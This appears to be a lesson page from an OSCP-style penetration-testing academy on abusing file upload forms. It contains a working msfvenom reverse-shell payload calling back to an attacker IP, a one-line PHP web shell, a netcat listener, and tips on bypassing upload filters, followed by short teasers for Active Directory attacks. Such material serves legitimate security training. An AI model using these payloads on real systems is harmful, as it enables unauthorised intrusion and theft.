← Back to Academy

Academy Node

File Upload Abuse

File upload abuse turns upload functionality into code execution or file write.

Beginner100 XPWeb

Why it matters

Upload forms are a classic OSCP web foothold.

How to identify it

  • Upload accepted
  • Uploaded file accessible
  • Server executes uploaded extension

Linux commands

msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI_IP LPORT=4444 -f aspx -o shell.aspx
echo '<?php system($_GET["cmd"]); ?>' > shell.php
nc -lvnp 4444

Expected output

  • Uploaded file path
  • Command execution
  • Reverse shell

Success looks like

  • Web shell or reverse shell

Failure looks like

  • Extension blocked
  • File not executable
  • Upload path unknown

Troubleshooting

  • Try extension bypass
  • Try content-type bypass
  • Find upload directory with ferox

Common mistakes

  • Wrong payload architecture
  • Not URL encoding cmd
  • No listener

Alternative attacks

  • LFI
  • SQLi
  • Default creds

What to try next

  • Stabilize shell
  • Run local privesc
  • Loot config files

Recommended next lessons

ASREP Roast

ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.

Kerberoast

Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.

GenericWrite

GenericWrite means you can modify certain attributes on the target AD object.

GenericAll

GenericAll is effectively full control over the target AD object.